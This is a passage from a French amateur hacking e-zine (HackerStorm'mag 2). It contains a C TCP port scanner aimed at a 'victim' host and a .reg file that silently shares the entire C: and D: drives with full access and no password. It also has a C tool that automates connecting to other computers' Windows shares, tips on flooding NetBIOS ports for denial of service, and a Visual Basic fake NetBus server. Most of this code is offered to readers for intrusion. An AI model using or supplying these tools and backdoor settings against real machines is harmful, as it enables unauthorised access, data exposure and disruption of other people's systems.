            Vous pouvez déjà vous amuser à étudier l'exemple BONUXX.

            J'ai cité les RAW SOCKET tout à l'heure, nous parlerons dans le prochain mag comment l'utiliser

            et pourquoi faire... sachez juste que tout bon hacker doit savoir l'utiliser !

            Si vous voulez des exemples de sources SOCKET allez sur le site du groupe : HACKERSTORM.COM

 

         F - L'exemple BONUXXXX !!!

 

            Un petit scanner TCP/IP à connexion complète qui illustre très bien

            les possibilitées de base des sockets... Etudiez le bien il pourra vous

            être très utile et en le modifiant un peu on peut faire beacoup de choses.

 

            COPIER/COLLER -------------------------------------------------------------------------------------------

                  /*SCANNER TCP à connexion complète

                                  By SBOUB.

                  */

 

                  #include <stdio.h>

                  #include <stdlib.h>

                  #include <unistd.h>

                  #include <string.h>

                  #include <netdb.h>

                  #include <arpa/inet.h>

 

                  struct in_addr resolve (char *name)

                  {

                     static struct in_addr in;

                     unsigned long l;

                     struct hostent *ent;

  

                     if ((l = inet_addr(name)) != INADDR_NONE) { in.s_addr = l; return in; }

                     if (!(ent = gethostbyname(name))) { in.s_addr = INADDR_NONE;  return in; }

 

                     return *(struct in_addr *)ent->h_addr;

                  }

 

                  main(int argc, char **argv)

                  {

                   struct sockaddr_in addr;

                   int soc, rc, addr_len;

                   unsigned long port, endp = 65334;

                   char *victim;

 

                   if (argc < 2) { fprintf(stderr,"Scanner TCP à connexion complète par SBOUB.\nUSAGE : %s <host> [endport]\n\n", argv[0]); exit(1); }

                   victim = argv[1];

                   if (argc > 2) { endp = atol(argv[2]); }

 

                   printf("Scanner TCP à connexion complète par SBOUB.\nScan TCP sur %s (port 0 -> %d)...\n\n", victim,endp);

 

                   addr.sin_addr = resolve(victim);

                   if (addr.sin_addr.s_addr == INADDR_NONE) { fprintf(stderr, "Host [%s] non trouvé\n", victim); exit(1); }

 

                   addr.sin_family = AF_INET;

                   addr_len = sizeof(addr);

 

                   for (port = 1; port <= endp; port++)

                   {

                    soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

                    addr.sin_port = htons(port);

                    rc = connect(soc, (struct sockaddr*) &addr, addr_len);

                    close(soc);

 

                    if (rc < 0)continue;

 

                  // A vous de rajouter vos propres ports (ceux des trojans par exemple...)

 

                    if (port==21) { printf("Port 21 (FTP)\n"); }

                    else if (port==22) { printf("Port 22 (SSH Remote Login Protoco)\n"); }

                    else if (port==23) { printf("Port 23 (TELNET)\n"); }

                    else if (port==25) { printf("Port 25 (SMTP)\n"); }

                    else if (port==37) { printf("Port 37 (TIMESERVER)\n"); }

                    else if (port==67) { printf("Port 67 (BOOTP SERVER)\n"); }

                    else if (port==68) { printf("Port 68 (BOOTP CLIENT)\n"); }

                    else if (port==70) { printf("Port 70 (GOPHER)\n"); }

                    else if (port==79) { printf("Port 79 (FINGER)\n"); }

                    else if (port==80) { printf("Port 80 (HTTP)\n"); }

                    else if (port==98) { printf("Port 98 (LINUXCONF)\n"); }

                    else if (port==107) { printf("Port 107 (RTELNET)\n"); }

                    else if (port==109) { printf("Port 109 (POP2)\n"); }

                    else if (port==110) { printf("Port 110 (POP3)\n"); }

                    else if (port==111) { printf("Port 111 (RPC 4.0 PortMapper)\n"); }

                    else if (port==113) { printf("Port 113 (AUTH authentication tap ident)\n"); }

                    else if (port==123) { printf("Port 123 (TIME)\n"); }

                    else if (port==137) { printf("Port 137 (NETBIOS Name Service)\n"); }

                    else if (port==138) { printf("Port 138 (NETBIOS Datagram Service)\n"); }

                    else if (port==139) { printf("Port 139 (NETBIOS Session Service)\n"); }

                    else if (port==213) { printf("Port 213 (IPX)\n"); }

                    else if (port==443) { printf("Port 443 (HTTPS)\n"); }

                    else if (port==512) { printf("Port 512 (EXEC)\n"); }

                    else if (port==513) { printf("Port 513 (LOGIN)\n"); }

                    else if (port==514) { printf("Port 514 (SHELL)\n"); }

                    else if (port==515) { printf("Port 515 (PRINTER)\n"); }

                    else if (port==530) { printf("Port 530 (RPC)\n"); }

                    else if (port==543) { printf("Port 543 (KLOGIN)\n"); }

                    else if (port==544) { printf("Port 544 (KSHELL)\n"); }

                    else if (port==1080) { printf("Port 1080 (SOCKS)\n"); }

                    else if (port==6000) { printf("Port 6000 (XWINDOW)\n"); }

                    else if (port==6660) { printf("Port 6660 (IRCD)\n"); }

                    else if (port==6661) { printf("Port 6661 (IRCD)\n"); }

                    else if (port==6662) { printf("Port 6662 (IRCD)\n"); }

                    else if (port==6663) { printf("Port 6663 (IRCD)\n"); }

                    else if (port==6664) { printf("Port 6664 (IRCD)\n"); }

                    else if (port==6665) { printf("Port 6665 (IRCD)\n"); }

                    else if (port==6666) { printf("Port 6666 (IRCD)\n"); }

                    else if (port==6667) { printf("Port 6667 (IRCD)\n"); }

                    else if (port==6668) { printf("Port 6668 (IRCD)\n"); }

                    else if (port==6669) { printf("Port 6669 (IRCD)\n"); }

                    else printf("Port %d (????)\n", port);

                   }

 

                   printf("\nOki boss... ;)\n");

                   exit(0);

                  }

            --------------------------------------------------------------------------------------------------

                  Pour tout commentaires : #hackerstorm en UNDERNET ou sur SBOUB666@hotmail.com

 

                  Dans le prochain mag, un bot complet en C. Un programme de chat. Et peut-etre les RAW SOCKET.........

 

 

          ************************************************************************************

          *                                 DIVERS par KoP                                   *

          ************************************************************************************

 

 

      1 - Les ressources partagées par KOP

 

            "Pourquoi n'avez vous pas fait un article sur le hacking par la faille

             des ressources partagées de windows??!!"

            Je réponds à cette question très simplement: l'accès par les ressources partagées de windows

            n'est pas une faille. Ceci est un système utilisé le plus souvent par les entreprises

            pour permettre au personnel de travailler depuis n'importe quel ordinateur dans

            le monde en ayant accès à ses données. Il s'agit de données partagées que,

            lorsque nous y avons accès, nous pouvons utiliser comme si elles se situaient

            sur notre propre ordinateur. En fait, lorsque vous entrez sur un ordinateur qui

            possède les ressources partagées, vous ne le hackez pas(enfin si les ressources

            partagées ont été activé exprès sinon vous le hackez vu que vous entrez sur l'ordinateur

            sans l'accord du propriétaire). Pour les personnes qui utilisent ce système pour "hacker",

            vous devez savoir qu'il existe un moyen très simple aux administrateurs de connaitre votre IP.

            En effet, grâce à l'observateur réseau (c:\windows\netwatch.exe), les administrateurs

            peuvent savoir se que vous faites à tout moment. Pour pouvoir utiliser cette technique

            sur quelqu'un, la personne doit avoir activé les ressources partagées.

 

            Informations dans la base de registre à propos des ressources partagées :

            --------------------------------------------------------------------------------------------------

            HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{a4d92740-67cd-11cf-96f2-00aa00a11dd9}\InfoTip

            HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{992CFFA0-F557-101A-88EC-00DD010CCC48}

                  \InfoTip

            HKEY_CLASSES_ROOT\CLSID\{992CFFA0-F557-101A-88EC-00DD010CCC48}\InfoTip

            HKEY_CLASSES_ROOT\CLSID\{a4d92740-67cd-11cf-96f2-00aa00a11dd9}\InfoTip

                  InfoTip: Accès aux informations partagées sur un autre ordinateur, même si votre ordinateur

                        n'est pas connecté à un réseau. L'ordinateur contacté doit être configuré comme

                        serveur réseau afin que vous puissiez utiliser ses ressources partagées.

            --------------------------------------------------------------------------------------------------

            HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetClient\0001\Ndi\HelpText

                  HelpText: Le client pour les réseaux Microsoft vous permet de vous connecter

                          à d'autres ordinateurs et serveurs Microsoft Windows et d'utiliser

                          leurs imprimantes et fichiers partagés.

            --------------------------------------------------------------------------------------------------

 

            Voici les données qu'il faut ajouter ou modifier dans le registre pour activer les ressources partagées:

            dans HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\

            créez une clé de même nom que celui du répertoire où vous voulez accéder.

            ex: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan

                  \MES DOCUMENTS

                  pour l'accès à un répertoire nommé MES DOCUMENTS.

            ex: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\UPLOAD

                  pour l'accès au répertoire C:\PROGRAM FILES\SERVER\UPLOAD par exemple.

                  Ne mettez pas les caractères spéciaux si votre répertoire en a un.

            ex: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C

                  pour l'accès au lecteur C:\

            --------------------------------------------------------------------------------------------------

            Voici les paramètres à compléter et à ajouter dans la clé que vous venez de créer :

 

                  Flags(décimal) ------>

                        257 -> accès lecture seule

                        258 -> accès complet

                        259 -> accès selon mot de pass

 

                  Parm1enc->

                        Pass pour l'accès complet

 

                  Parm2enc->

                        Pass pour la lecture seule

 

                        Path ------->

                              Répertoire et sous-répertoires partagées

                              ex: "C:\" -> accès complet au lecteur C

 

                        Remark --->

                              Remarque visible par nbtstat

                              ex: "Partage des ressources By HackerStorm"

 

                        Type ------> 0

 

            Voilà, pour partager une machine en accès complet sur les disques C:\ et D:\ facilement

            vous pouvez utiliser un fichier ".reg" en y mettant les données qui suivent :

 

            COPIER/COLLER -------------------------------------------------------------------------------------------

                  REGEDIT4

 

                  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C]

                  "Flags"=dword:00000102

                  "Type"=dword:00000000

                  "Path"="C:\\"

                        "Parm2enc"=hex:

                        "Parm1enc"=hex:

                        "Remark"="Partage réseau fait par HackerStorm"

 

                        [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\D]

                        "Flags"=dword:00000102

                        "Type"=dword:00000000

                        "Path"="D:\\"

                        "Parm2enc"=hex:

                        "Parm1enc"=hex:

                        "Remark"="Partage réseau fait par HackerStorm"

            --------------------------------------------------------------------------------------------------

                 

 

            Source d'un programme pour les ressources partagées:             

            Voici un petit programme qui vous évitera de faire toute la démarche obligatoire à la connection

            sur les ressources partagées d'un ordinateur. Vous devez posséder, comme le dit les extraits du registre,

            les ressources partagées pour pouvoir avoir accès aux servers Microsoft et pour pouvoir utiliser leurs

            fichiers et leurs imprimantes.

 

            COPIER/COLLER -------------------------------------------------------------------------------------------

                        #include <conio.h>

                        #include <stdio.h>

                        #include <process.h>

                        #define ETAPE "-------------------------------------------------------------------------------\nETAPE %s\n"

 

                        main(int argc,char*argv[])

                        {

                              if(argc!=2)

                              {

                              puts("Usage: RP-hack [IP possédant les ressources partagées]\n\

                              Programme de ressources partagées par KoP pour le groupe HackerStorm.\n\

                              Pour plus d'informations: HackerStorm@HotMail.com\n");

                              return 1;

                              }

                              printf(ETAPE,"1:\n\n----------------------\nListe\n----------------------");

                              char buf[80];

                              sprintf(buf,"nbtstat -a %s",argv[1]);

                              system(buf);

                              puts("\n----------------------\n\n\"Failed to access NBT Driver 1\" --> partagez vos ressources.\n\

                              \"Host not found\" --> non connecté ou pas de ressources partagées … cette IP\n\n\

                              Appuyez sur (2) si vous voyez <20> dans la liste.\n");

                              if(getch()!='2')

                                    return 0;

                              printf(ETAPE,"2:\n\nTapez le nom de l'ordinateur(devant <20>): ");

                              char nom[80];

                              gets(nom);

                              FILE* entree;entree=fopen("C:\\WIN\\LMHOSTS","wb");

                                    fprintf(entree,"%s   %s   #PRE",argv[1],nom);

                              fclose(entree);

                              system("nbtstat -R");

                              printf(ETAPE,"3:\n\nVoici ce qui est partag‚ sur l'ordinateur distant :");

                              sprintf(buf,"NET VIEW \\\\%s",nom);system(buf);

                              printf("\n\nVous devez maintenant aller dans Démarrer -> Rechercher -> Ordinateur\n\

                              et rechercher \"%s\". Quand il l'aura trouv‚ vous aurez accès\n\

                              aux données partagées de cet ordinateur.\n",nom);

                              return 0;

                        }

            --------------------------------------------------------------------------------------------------

            Copiez et collez cette source dans un fichier RP-hack.cpp.

            Pour utiliser ce programme, vous devez dabord le compiler avec un compilateur C/C++

            de Microsoft, Borland,... Ensuite saisissez sur la ligne de commande:

            "RP-hack" + l'ip de l'ordinateur qui a les ressources partagées.

 

            Quelques explications sur les ressources partagées:

            Les ressources partagées utilisent le protocole TCP/IP avec le transfert TCP.

            L'activation du partage nécessite l'ouverture de 3 ports, le:

              - 137 : TCP Netbios name (permet le retour de données du nbtstat et du net view)

              - 138 : TCP Netbios datagram (port utilisé pour le transfert des fichiers)

              - 139 : TCP Netbios session (port utilisé pour le transfert d'informations et de commandes)

 

            Dans la version 95 de windows, ces ports permettez de faire des DOS(denial of service) attack

            par l'envoi de message out of band sur l'un de ces ports(ex: Winnuke). Ce problème a été corrigé

            dans les nouvelles versions de windows. Lorsque les  ressources partagées sont activées,

            vous pouvez flooder le port 137 en faisant de multiples demandes de nom d'host ou le port 139

            en vous connectant et en envoyant des multitudes de commandes qui requiert beaucoup

            de temps(ex: LSTDRV) en très peu de temps. Vous avez aussi la possibilité d'utiliser le

            buffer overflow ou mieux des shell code pour avoir accès à l'ordinateur sans avoir besoin du pass.

 

                                                By KoP

 

      2 - Emulateur NetBus en Visual-Basic par KoP

 

            Dans notre premier mag, nous vous avions donné la source d'un émulateur NetBus de base.

            Pour le deuxième, j'ai décidé de l'améliorer et de le faire plus convivial.

            Le language utilisé est toujours le même: le Visual-Basic.

 

            Conception:

            * Créez un nouveau projet.

            * Ajoutez le composant Microsoft Winsock Control (Ctrl+T)

            * Dans le formulaire de projet, créez :

                  - une ListBox et nommez la list

                  - une TextBox et nommez la texte

                  - une ComboBox et nommez la Combo1

                     Dans la liste de Combo1, mettez: Message et Infos

                  - un CommandButton et nommez le Command1

                    Mettez "Bloquer SetMousePos" pour sa caption.

                  - un objet Winsock et nommez le Winsock

 

         COPIER/COLLER -------------------------------------------------------------------------------------------

                  Dim blok As Boolean

                  Private Sub Form_Load()

                        ' Mise à 0 du blocage de SetMousePos

                        blok = False

                        ' Listen sur le port server NetBus:12345

                        Winsock.Close

                        Winsock.LocalPort = 12345

                        Winsock.Listen

                  End Sub

 

                  ' Bouton pour bloquer le flood du SetMousePos

                  Private Sub Command1_Click()

                        If blok = True Then blok = False: Command1.Caption = "Bloquer SetMousePos": Exit Sub

                        If blok = False Then blok = True: Command1.Caption= "Débloquer SetMousePos":Exit Sub

                  End Sub

 

                  Private Sub texte_KeyPress(KeyAscii As Integer)

                        ' Envoi de messages réponses sur le client

                        If KeyAscii = 13 And Combo1.text = "Message" Then

                              Winsock.SendData "Msg;" + texte.text + vbCrLf: Exit Sub

                        End If

                        ' Envoi de boite de messages sur le client

                        If KeyAscii = 13 And Combo1.text = "Infos" Then

                              Winsock.SendData "Info;" + texte.text + vbCrLf: Exit Sub

                        End If

                  End Sub

 

                  Private Sub Winsock_ConnectionRequest(ByVal requestID As Long)

                        ' Accépter une connection

                        Winsock.Close

                        Winsock.Accept requestID

                        ' Envoi de la signature de NetBus 1.7

                        ' Un "x" après la signature signifie qu'il faut entrer un password

                        Winsock.SendData Chr(10) + "NetBus 1.7" + vbCrLf

                        List.AddItem "*** Connection de " + Winsock.RemoteHostIP + " ***"

                  End Sub

 

                  Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)

                        Dim dat As String

                        Dim text As String

                        Winsock.GetData dat

                        ' Obtenir les clients autorisés à se connecter

                        If dat = "GetACL" + Chr(13) Then

                              List.AddItem "Recherche de servers":

                              Winsock.SendData "ACLInfo;Bon, mon gars,|faut que je te dise que je suis|un

                              Hacker. Arrête de me faire|pitier avec tes trojans sinon ça va|aller mal pour toi."

                              + Chr(13):

                              Exit Sub

                        End If

                        ' Ouvrir le lecteur de CD-ROM

                        If dat = "Eject;1" + Chr(13) Then List.AddItem "Ouverture du CD": Exit Sub

                        ' Fermer le lecteur de CD-ROM

                        If dat = "Eject;0" + Chr(13) Then List.AddItem "Fermeture du CD": Exit Sub

                        ' Afficher aucune image(cacher les images affichées)

                        If dat = "ShowImage;" + Chr(13) Then List.AddItem "Cachage de l'image": Exit Sub

                        ' Afficher une image

                        If Mid$(dat, 1, 10) = "ShowImage;" Then

                              List.AddItem "Affichage de l'image " + Mid$(dat, 11, Len(dat) - 11): Exit Sub

                        End If

                        ' Lancer une application

                        If Mid$(dat, 1, 9) = "StartApp;" Then

                              List.AddItem "Lancement de " + Mid$(dat, 10, Len(dat) - 10): Exit Sub

                        End If

                        ' Inverser les boutons de la souris

                        If dat = "SwapButton;1" + Chr(13) Then

                              List.AddItem "Inversement des boutons de la souris": Exit Sub

                        End If

                        ' Remettre les boutons de la souris en ordre

                        If dat = "SwapButton;0" + Chr(13) Then

                              List.AddItem "Remise à la normal des boutons de la souris": Exit Sub

                        End If

                        ' Envoi d'un message avec demande de réponse

                        If Mid$(dat, 1, 10) = "Message;1;" Then

                              List.AddItem "Discution: " + Mid$(dat, 11, Len(dat) - 11): Exit Sub

                        End If

                        ' Envoi de message

                        If Mid$(dat, 1, 10) = "Message;0;" Then

                           text = ""

                            For i = 11 To Len(dat)

                                If Mid$(dat, i, 1) = ";" Then

                              List.AddItem "Message: " + text:

                              Winsock.SendData"Answer;Person answered: Tu crois me faire peur??" + vbCrLf:

                              Exit Sub

                                End If

                                text = text + Mid$(dat, i, 1)

                            Next i

                           Exit Sub

                        End If

                        ' Capture de l'écran

                        If dat = "CaptureScreen" + Chr(13) Then

                              Winsock.SendData "CaptureReady;0" + vbCrLf:

                              List.AddItem "Capture de l'écran": Exit Sub

                        End If

                        ' Obtenir les informations

                        If dat = "GetInfo" + Chr(13) Then

                              List.AddItem "Prise des infos":

                              Winsock.SendData "Info;Program Path:      /bin/hack/exploit/Netbus[by KOP]

                              Restart persistent: Dans tes rèves|Login ID: KOPSTORM the best hacker

                              Clients connected to this host: 1 malheureux trou du cul" + vbCrLf:

                              Exit Sub

                        End If

                        ' Redirection du port

                        If dat="PortRedir;"+Chr(13) Then List.AddItem"Fermeture du port de redirection":Exit Sub

                        If Mid$(dat, 1, 10) = "PortRedir;" Then

                            List.AddItem "Ouverture du port de redirection [" + Mid$(dat, 11, Len(dat) - 11) + "]"

                            text = ""

                            For i = 11 To Len(dat)

                                If Mid$(dat, i, 1) = ";" Then

                                    If Int(text) < 100 Then

                              Winsock.SendData "Info;Le port du server doit être supérieur à 100." + vbCrLf

                                    End If

                                    Exit Sub

                                End If

                                text = text + Mid$(dat, i, 1)

                            Next i

                            Exit Sub

                        End If

                        ' Lancement d'un son

                        If Mid$(dat, 1, 10) = "PlaySound;" Then

                              List.AddItem "Lancement du son " + Mid$(dat, 11, Len(dat) - 11): Exit Sub

                        End If

                        ' Envoi d'une lettre

                        If Mid$(dat, 1, 12) = "Sendkeys;0;" Then

                              List.AddItem "Séléction du texte : " + Mid$(dat, 13, Len(dat) - 13): Exit Sub

                        End If

                        ' Recherche des applications lancées

                        If dat = "GetApps" + Chr(13) Then

                              List.AddItem "Recherche des applications lancées":

                              Winsock.SendData "AppNames;Hacking(Us.governement)|IRC[#hackerstorm]

                              |Hunt 2.3b|Gcc|Command|Editeur de textes avancées|" + vbCrLf: Exit Sub

                        End If

                        ' Fermeture de l'application

                        If Mid$(dat, 1, 8) = "KillApp;" Then

                              List.AddItem "Kill de l'application " + Mid$(dat, 9, Len(dat) - 9): Exit Sub

                        End If

                        ' Focus de l'application

                        If Mid$(dat, 1, 9) = "FocusApp;" Then

                              List.AddItem "Focus de l'application " + Mid$(dat, 10, Len(dat) - 10): Exit Sub

                        End If

                        ' Séléction de la position de la souris(marquer si SetMousePos n'est pas bloqué)

                        If Mid$(dat, 1, 12) = "SetMousePos;" And blok = False Then

                              List.AddItem"Définition de la position de la souris "+Mid$(dat, 13, Len(dat) - 13)

                              Exit Sub

                        End If

                        If Mid$(dat, 1, 12) = "SetMousePos;" And blok = True Then Exit Sub

                        ' Fermeture de la redirection d'application

                        If dat="AppRedir;"+Chr(13) Then List.AddItem"Fermeture du port de redirection":Exit Sub

                        ' Redirection d'une application sur un port (I/O)

                        If Mid$(dat, 1, 9) = "AppRedir;" Then

                          List.AddItem "Ouverture du port de redirection pour applications ["

                           + Mid$(dat, 10, Len(dat) - 10) + "]"

                            For i = 10 To Len(dat)

                                If Mid$(dat, i, 1) = ";" Then

                                    text = Mid$(dat, i + 1, Len(dat) - i - 1)

                                    If Int(text) < 100 Then

                              Winsock.SendData "Info;Le port du server doit être supérieur à 100." + vbCrLf

                                        Exit Sub

                                    End If

                                End If

                            Next i

                            Exit Sub

                        End If

                        ' Envoi d'un caractère clavier

                        If Mid$(dat, 1, 9) = "SendKeys;" Then

                              List.AddItem "Envoi de key[" + Mid$(dat, 10, Len(dat) - 10) + "]": Exit Sub

                        End If

                        ' Obtenir le volume du son

                        If dat = "GetVolume" + Chr(13) Then

                              List.AddItem "Recherche du volume sonore système":

                              Winsock.SendData "VolumeInfo;130;130;130" + Chr(13) + vbCrLf: Exit Sub

                        End If

                        ' Changer le volume du son

                        If Mid$(dat, 1, 10) = "SetVolume;" Then

                              List.AddItem "Séléction du volume[" + Mid$(dat, 11, Len(dat) - 11) + "]":Exit Sub

                        End If

                        ' Enregistrer le son micro

                        If Mid$(dat, 1, 7) = "Record;" Then

                              List.AddItem "Record pendant " + Mid$(dat, 8, Len(dat) - 8) + " secondes"

                              Winsock.SendData "RecordResponse;0" + Chr(13) + vbCrLf: Exit Sub

                        End If

                        ' Changer des options(pass,mail,...)

                        If Mid$(dat, 1, 9) = "NewSetup;" Then

                              List.AddItem "Changement d'options -> " + Mid$(dat, 10, Len(dat) - 10): Exit Sub

                        End If

                        ' Obtenir les options

                        If dat = "GetSetup" + Chr(13) Then

                              List.AddItem "Recherches des options"

                              Winsock.SendData  "SetupInfo;12345;1;;;KoP@hackerstorm.com;smtp.wanadoo.fr" + vbCrLf

                              Exit Sub

                        End If

                        ' Ouvrir l'explorateur internet à une URL

                        If Mid$(dat, 1, 4) = "URL;" Then

                              List.AddItem "Explorateur internet à " + Mid$(dat, 5, Len(dat) - 5): Exit Sub

                        End If

                        ' Bloquer des boutons souris

                        If Mid$(dat, 1, 10) = "KeyClick;1" Then List.AddItem "Mise du key click": Exit Sub

                        ' Remettre les boutons souris

                        If Mid$(dat, 1, 10) = "KeyClick;0" Then List.AddItem "Arrêt du key click": Exit Sub

                        If Mid$(dat, 1, 14) = "DisableKeys;0;" Then

                              List.AddItem "Arrêt du blocage des touches": Exit Sub

                        End If

                        ' Bloquerles touches clavier

                        If Mid$(dat, 1, 14) = "DisableKeys;1;" Then

                              List.AddItem "Blocage des touches: " + Mid$(dat, 15, Len(dat) - 15): Exit Sub

                        End If

                        ' Recherche des disques

                        If dat = "GetDisks" + Chr(13) Then

                              List.AddItem "Recherche des infos sur le disque":

                              Winsock.SendData "DisksDone;572519" + vbCrLf: Exit Sub

                        End If

                        ' Supprimer un fichier

                        If Mid$(dat, 1, 8) = "DelFile;" Then

                              List.AddItem "Suppression de " + Mid$(dat, 9, Len(dat) - 9): Exit Sub

                        End If

                        ' Fermer Windows

                        If Mid$(dat, 1, 8) = "ExitWin;" Then

                              List.AddItem "Fermeture de windows (type " + Mid$(dat, 9, 1) + ")": Exit Sub

                              List.AddItem dat

                              End Sub

                        End If

                  End Sub

 

                  Private Sub Winsock_Close()

                        ' Re-listener après une déconnection

                        Winsock.Close

                        Winsock.LocalPort = 12345

                        Winsock.Listen

                        List.AddItem "*** Déconnection de " + Winsock.RemoteHostIP

                  End Sub

 

                        Private Sub Winsock_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long,

                                    ByVal Source As String, ByVal HelpFile As String,ByVal HelpContext As Long,

                                    CancelDisplay As Boolean)

                              ' En cas d'erreur de connection, re-listener sur le port NetBus:12345

                              Winsock.Close

                              Winsock.LocalPort = 12345

                              Winsock.Listen

                        End Sub

            --------------------------------------------------------------------------------------------------

                                                      By KoP

 

 

          ************************************************************************************

          *                             LE MOT DE LA FIN par KOP                             *

          ************************************************************************************

 

            Voilà, c'est la fin de ce deuxième e-mag. Nous avons mis plus de temps pour le faire

            et j'espère qu'il vous a plu.

            Je ne sais pas encore si le HackerStorm'mag 3 sortira un jours mais

            en tout cas j'espère ne pas avoir fait ça pour rien.

            Donc si cet e-mag vous a plu, merci de m'envoyer un e-mail

            pour me le faire savoir et pour m'encourager à continuer HackerStorm'mag.

            Toutefois, si on devait sortir le 3, je vous demanderais de m'envoyer vos articles

            à KoP@HackerStorm.Com

            Je me ferais un plaisir d'ajouter votre pseudo à cette liste qui ne contient

            que les personnes ayant écrit dans ce mag  :

                  - KoP :     fondateur du groupe.

                         S'occupe de la mise en page des e-mags.

                         Ecrit des articles dans tous les domaines.

                         E-Mail : KoP@HackerStorm.Com

                   - Lauspeed : Ecrit des articles originaux et débute

                         en programmation Winsock, en cracking.

                  - Tipiax : Ecrit des articles sur le cracking et l'assembleur.

                        E-Mail :Tipiax@HackerStorm.Com

                  - Sboub : Ecrit des articles sur la programmation.

                        E-Mail: SBOUB666@hotmail.com

                  - Alexia[SKY] : Ecrit des articles sur le cracking.

                        Site WEB: www.skygames.fr.st

                         E-Mail : Alexia_SKY@caramail.com

 

 

            Voilà, à bientôt dans un prochain HackerStorm'mag. :o)